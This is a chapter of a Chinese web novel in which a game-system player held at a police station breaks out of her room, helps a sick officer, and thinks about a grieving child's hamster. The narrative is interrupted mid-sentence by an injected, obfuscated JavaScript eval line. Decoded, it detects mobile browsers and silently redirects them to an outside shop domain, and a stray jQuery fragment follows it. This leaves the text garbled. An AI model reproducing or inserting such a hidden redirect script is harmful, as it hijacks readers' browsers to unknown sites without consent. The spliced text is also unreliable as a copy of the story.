雨是在凌晨四点十七分停的。
玩家坐在观察室里，手铐已经换成了固定在椅背铁环上的那种。伤口的血早就凝住了，没有人来给她换药，她也没提醒。系统界面安静地挂在视野右上角，没有新任务，没有新提示，只有一条【当前存活玩家：94人】在缓慢地往下掉。
每隔十几分钟，数字就会变一次。
92。
89。
85。
有人在别处杀人。这很正常。游戏前几夜通常是最密集的淘汰期，玩家们刚落地，还不确定规则和地形，会先杀掉一切能杀的人来确保安全。等活下来的人开始觉得"这样杀下去不行"的时候，才会进入更谨慎的阶段。
玩家靠回椅背，把视线从系统界面上移开。
窗外有一棵树。
小林忽然想起昨天松田问她。
“小林？”
“嗯。”
“树林的林？”
她当时只是随口应了一声。
现在看着窗外，她却觉得“树林”是一个挺好的词。
树林是很多棵
每一棵都是单独的，但它们站在一起，就变成了一个新的东西。
她不知道自己为什么会想到这个。
也没继续想。
玩家看不清是什么树，天色太暗，路灯的光照不透枝叶。但树枝在风里轻轻晃着，叶片上积了一夜的雨水还在往下滴。很安静。安静到她能听见水珠落在地面上的声音，啪嗒，啪嗒，啪嗒。规律的、没有节奏的、带着一点潮湿的闷响。
这种安静，在上一轮森林里是要下雨的前兆。
森林里没有屋檐，没有窗户，没有路灯。她睡在树洞里，或者岩缝里，听见这种安静的时候会先把刀摸出来。因为雨声会盖住脚步，而雨前那段绝对的安静，是猎物和猎手同时屏住呼吸的时间。
小林盯着窗外那棵树看了一会儿，然后慢慢伸出手。
指尖贴着窗玻璃，冰凉的，坚硬的，隔着它触碰不到外面的空气。
她想起来，森林里没有玻璃。森林里什么都在你皮肤上，雨水、风、昆虫、别人的呼吸。你不需要猜测外面的温度，风会直接吹过你的脸。你也不用隔着什么去看一棵树，树就在你伸手就能够到的地方。
但这里不一样。这里什么东西都隔着一层。
便利店的门隔着一层才能推开。
饭团的塑料包装隔着一层才能吃到。
审讯室的窗户隔着一层才能看到外面。
她的经验在这里被一层看不见的材质挡了回来。她以为会下雨，因为安静到了那个程度。但窗外没有雨，只有风把叶子吹得沙沙响，水珠慢慢从叶尖滑下来，落进泥土里，没人看见。
小林把手收回来。
她把视线重新落回室内，灯管的光是冷白色的，桌面有一道很浅的划痕，像被钥匙或者笔尖刻过。角落里有一把多余的椅子，靠背上搭着一件深蓝色的制服外套，大概是某个警察换班时忘记带走的。
外面的走廊也很干净。
地砖被灯照得发白，墙角没有灰，门框和踢脚线之间看不见一点积尘，连通风口的金属栅栏都擦得发亮。
小林看了一会儿。
头顶忽然传来一声极轻的摩擦。像指甲刮过铁皮。声音很短，很快就消失了。
她抬起头。
她以前听过这种声音。
上一轮游戏里，她曾经在一间餐馆过夜。厨房很干净，瓷砖缝里没有油，灶台擦得能够照出人影，地上连一粒发霉的米都找不到。
白天的时候，那里什么也没有。
到了夜里，灯一灭，墙角会爬出很大的蟑螂。壳硬，腿快，踩一下踩不死。还有老鼠，细瘦，眼睛亮得像两点湿润的黑光，会沿着水管往上爬，也会绕开人放在墙边的夹子。
太干净的地方，食物很少，缝隙也少。不够聪明的东西活不下来。
通风口里没有再传出声音。也许是老鼠。也许只是积水顺着管道往下滑。
小林不再看它。
这里没有河。也没有还在下的雨。
她过去的经验在这里失效了一部分。她需要重新学一套规则才能活下去。但规则不会写在墙上，她只能通过不断出错，慢慢摸清边界。
小林靠回椅背，闭上眼睛。她没有睡觉。她只是把眼睛合上了，像一个人关掉一盏暂时用不到的灯。
门是在五点零三分被推开的。
小林睁开眼。
进来的是一个女警。深色制服，头发扎得很低，手里端着一杯冒着热气的水。她走到桌前，把水放在小林伸手能够碰到的地方，又往后退了两步。动作不算温柔，但也没有恶意。她没有像卷发男人那样扣住小林的手腕说话，也没有像那个语气温和的男人一样，用带着试探的笑容观察她。
她只是放下水，像在完成一件应该完成的事。
“松田警官让我过来给你换药。”她停了一下，又补了一句：“你要是渴了，这杯水是给你的。”
小林看了一眼杯子：“温水。”
“嗯。”
“上次也是温水。”
“有问题吗？”
“没有。在确认规律。”
佐藤愣了一下：“……什么规律？”
“送温水的人，暂时不会杀我。”
佐藤张了张嘴，最后说：“你先喝吧。”
她转身走出了观察室。
门重新合上。
小林看了一眼那杯水，又看了一眼自己的手腕。
手铐是松的。卷发男人替她扣上去的时候，特意留了一指宽的空隙。不算友好，但至少不会磨破皮肤。她屈起膝盖，身体朝桌面倾过去，指尖碰到杯壁，把水一点点挪到自己面前。
温水。
带着白开水几乎没有味道的干净感。
小林喝了一口：“水温稳定。好评。”
门外传来交谈声。“佐藤前辈，你脸色好差——”“没事。”回答的声音有些发闷，像嗓子不太舒服。“昨晚淋了点雨，睡一觉就好了。”“你昨晚根本没睡吧？松田前辈他们半夜出去以后，你一直在调监控。”“调完就睡了。”“前辈，你桌上的咖啡杯都摞了四个了。”“……那是昨天的。”“你昨天也没睡。”“行了行了，我今晚上班前会补觉的。你去忙你的。”
另一个人的脚步声渐渐远了。
小林端着杯子，视线落在门缝下透进来的那一线光上。
窗外的天正从深蓝变成暗蓝。再过大约一个小时，太阳就会升起来。她隐约记得这一轮游戏的天气里有晴天和雨天。雨停了，天亮以后也许会出太阳。
她又喝了一口水。外面忽然传来一声闷响。杯底碰到桌面的声音，不像人体落到地面上的声音。后者更钝，更厚，带着一种重量被突然松开的沉。
没有预兆。干脆得像一个装满东西的袋子被放到了地上。
小林放下杯子，站起来。
手铐的链条哗啦响了一声。
她走到门边，透过门上狭窄的玻璃向外看。
走廊里没有巡逻的人，也没有警员经过。冷白色的灯照着地面，瓷砖上残留着几道半干的水痕，大概是雨夜里被鞋底带进来的。
转角处露出一只手。
手指微微蜷着，搭在墙根。指甲盖颜色发白，指节很轻地发抖。那是一个人在失去平衡时，下意识伸手去撑墙的姿势。
没有呼救，也没有挣扎。
系统没有弹出提示。没有任务，没有积分，也没有要求她做出选择。
小林伸出手。
她用手铐的链条勾住门锁边缘，绕了一圈，向后用力一扯。
锁芯发出一声轻响。
门开了。
小林走进走廊。赤裸的脚踩过半干的水痕，声音被潮湿的地面吸掉了一大半。她本可以直接往前——走廊尽头就是楼梯，楼下是警视厅大厅，清晨六点门岗换班时有十五秒左右的视线盲区。她昨天被带上来的时候已经记过路线。如果现在离开，大概不会太难。
小林朝那个方向看了一眼。
但她没有往前走。她停在了转角处，她犹豫了。
不是因为不敢，而是因为她在计算。跑出去之后呢？外面在下雨，她身上没有钱，没有伞，没有可以换的衣服。昨晚的饭团已经消化完了，体力条在缓慢下降，便利店里的食物要花钱，而她的口袋里只有几枚不够买第二顿饭的硬币。雨里没有屋檐，没有遮挡，她会被淋湿，然后更冷，然后体能下降得更快，然后更容易死。
小林转身走向另一边。
佐藤靠着墙坐在地上。脸色很白。额头有汗，嘴唇却没有血色。手指不停发抖，呼吸也比平时快。
小林蹲下来。
佐藤费了一会儿才看清她。第一眼看的是她的脸。第二眼看见了她腕上的手铐。
“……你怎么出来的？”
“门开了。”
佐藤闭了一下眼睛。
“你开的吧。”
“嗯。”
“怎么开的？”
“拉开的。”
佐藤：“……那是锁着的。”
“我知道。”
“那你怎么拉开的？”
小林抬起手，亮出手铐链条：“用这个。”
佐藤看着她，又看了看门锁，又看了看她：“你把锁芯拉坏了？”
“嗯。”
“那是新装的。”
“质量不行。”
佐藤现在似乎没有力气和她讨论门锁质量。
她扶着墙想站起来。刚起到一半，膝盖又软了。小林伸手托住她的手臂。佐藤靠回来，喘了一口气。
“发烧。”小林说。
“我知道。”
“还有低血糖。”
“你还会看这个？”
“见过。”
以前有人跑了一天没有吃东西，也是这样。发抖。冒汗。反应变慢。后来那个人死了。不是因为低血糖。是因为在反应变慢以后没躲开敌人的攻击。小林没有把后面的事情说出来。
她看见佐藤制服口袋里露出半截糖纸。
伸手抽了出来。
“你干什么？”
“吃掉。”
“你从哪拿的？”
“你口袋。”
小林把糖放进她手里。
佐藤盯着她看了两秒，最后还是撕开包装，把糖含进嘴里。
“你这算非法取用警察个人财物吗？”
“不算。”
“为什么？”
“还给你了。”
佐藤笑了一下，声音很轻。她靠着墙缓了一会儿。
小林没有走。
走廊另一侧摆着一张长椅。长椅下面放着一个透明的小笼子，里面有一只仓鼠。小小的。浅黄色。
缩在木屑里，只露出半个脑袋。
小林的视线停了一下。她记得这个东西。几个小时前，那个小女孩抱着它站在观察室门口。
女孩哭得说不清话，一直问她爸爸在哪里。后来又想把仓鼠给她，小林当时以为那是一场交易。
她拥有一个东西。她希望用这个东西换回另一个东西。规则很简单。问题只是，她想换的东西已经不存在了。
所以小林告诉她：死掉的人换不回来。
女孩哭得更厉害了。后来松田告诉她，那句话不应该那样说。
小林最后说了一句对不起。她并不知道那句对不起有没有用。
现在仓鼠还在。它把两只前爪搭在笼子边缘，黑色的眼睛看着外面。什么都不知道。不知道是谁死了。不知道谁哭了。也不知道自己几个小时前被当成交换物送出去。
小林看着它。
她以前玩过很多游戏。
游戏里的人死掉以后，有时候会刷新。有时候不会。
家属找到玩家，也只是新的任务。护送。赔偿。复仇。交付遗物。每一种情绪最后都会变成可以完成的目标。
可那个女孩没有给她任务。系统也没有跳出来告诉她该怎么办。
她只是哭。
这件事很奇怪。小林不知道该怎么处理。
佐藤缓过来一点，侧头看她。
“你怎么不跑？”
小林没有回答。
“门都开了。”佐藤说，“你要是真想走，刚才应该是最好的机会。”
“外面没有东西。”
“什么东西？”
“食物。钱。武器。”
佐藤沉默了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834981|211398||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一下。
“这里也不会给你武器。”
“有水。”
“……”
佐藤看了她一会儿。
“就为了这个？”
“不完全是。”
“那还因为什么？”
小林没有马上回答。
她又看了一眼长椅下面的仓鼠。
佐藤顺着她的视线看过去。
“高桥先生女儿的。”
“嗯。”
“她刚才不肯走，后来太累了，被家里人抱去休息。笼子暂时放在这里。”
小林问：“她还在哭吗？”
佐藤顿了一下：“大概吧。”
小林想了想：“那你去让她开心一点。”
佐藤看向她：“什么？”
“那个NPC——”
小林停住。昨天松田说过。这里不要这样叫人。
她重新说：“那个小女孩。”
“给她一点东西。”
“什么东西？”
“不知道。”
她认真想了一会儿。“糖。”
“……”
“或者钱。”
佐藤靠在墙上，看着她。
“六岁的孩子拿钱干什么？”
小林皱了一下眉。这个问题她确实没有想过。
“那就糖。”
“你觉得一颗糖能让她不难过？”
“不知道。”
佐藤看着她：“你是在关心她？”
小林看着笼子里的仓鼠。仓鼠动了一下鼻子。
“因为她一直在哭。”她说。“哭很久了。”
“所以？”
“影响游戏体验。”
“……”
走廊里安静下来。佐藤看了她很久。小林没有继续解释。她并不觉得自己做了一件多么特别的事情。
那个孩子还在哭。既然仓鼠换不回死人，也许别的东西可以让她暂时停下来。至少吃糖的时候，嘴会被占住。大概不会哭得那么厉害。这是小林能想到的办法。
“就这个？”佐藤问。
“嗯。”
佐藤低头笑了一下。“知道了。”
远处开始有人走动。早班的人陆续到了。电话声和打印机的声音一点点多起来。佐藤撑着墙站起来。这一次成功了。
“走吧。”
“哪里？”
“先送你回去。”
小林没有反抗。经过长椅的时候，她停了一秒。仓鼠还在看她。她伸出一根手指，隔着透明笼壁碰了一下它鼻子的位置。
碰不到。
只有冰凉的塑料。
小林收回手。
“走了。”
佐藤在前面说。
她跟上去。经过值班区时，小林脚步慢了一点。旁边一张办公桌没人。电脑还亮着。屏幕上打开着一张照片。照片里躺着一个男人。衣服被剪开，胸口露出来。皮肤很白。锁骨下方有一个图案。一只灰色的老鼠。胸腔的位置裂开，里面画着一颗红色的心脏。
小林看了一眼。没有停。旁边另一块窗口显示着几行密密麻麻的记录。
【无记名交通IC卡】
下面是一串时间。车站。进站。出站。记录被画在一张地图上。大部分蓝点零散分布。只有其中一小片区域叠得很密。几十个点压在一起，颜色深得几乎发黑。旁边还有人用红色框把那一片圈了出来。
小林扫过去。
没有系统提示。所以她没有多看。
她只是记住了那只老鼠。还有地图上那块颜色很深的地方。
佐藤已经走出去几步。
发现她没跟上，回头：“怎么了？”
“没有。”
小林跟过去。
头顶的通风口忽然又响了一声。沙沙。像真的有一只老鼠从墙里面跑过。像有什么东西踩着铁皮，从管道的一端跑向另一端，很快又钻进了墙体更深的地方。
佐藤也听见了。
“有东西在里面。”
佐藤哑着嗓子笑了一下：“警视厅大楼有老鼠？后勤听见要疯。”
小林没说话。
她觉得有。也可能不是老鼠。管道、夹层、墙体内部，总有一些阳光照不到的缝隙。雨刚停，很多东西都会挪地方，寻找新的食物和更干燥的窝。
佐藤没再追问。她只是又往墙上靠了靠，声音低下去：“……那它们也是够倒霉的。挑了个最不好藏的地方。”
小林转过头看她。
明亮的灯光落在佐藤苍白的脸上，也落在擦得干净的墙面和地砖上。这里到处都是光，连人的影子都显得很浅。
“能在不好藏的地方活下来的，”小林说，“通常都很难杀。。”
佐藤看了她一眼。“你这话听起来不像在说老鼠。”
小林没有回答。
她们重新回到观察室。
佐藤站在门外，看了一眼被弄开的门锁，又看了一眼小林。
“你真不跑？”
“不跑。”
“为什么？”
小林想了想。桌上的水已经凉了。窗外的树叶仍然在往下滴水。长椅下面那只仓鼠大概还缩在木屑里。
她不知道该怎么回答。
最后只说：“暂时没有必要。”
佐藤点点头。“行。”
她准备关门。
小林忽然叫住她。
“佐藤。”
“嗯？”
“糖。”
佐藤愣了一下。
小林说：“别忘了。”
佐藤站在门口看了她几秒。
然后笑了：“知道了。”
门关上。
小林重新坐回椅子里。
系统仍然安静地悬在视野右上角。
【当前存活玩家：81人】
数字又少了四个。
她看了一眼，关掉。
窗外天已经亮了。
观察室里没有任何新任务。也没有获得积分。刚才发生的一切，似乎都与游戏无关。
小林靠回椅背。她想起那个女孩。又想起那只仓鼠。过了一会儿，她才发现自己还在想。
于是她把这个念头也关掉了。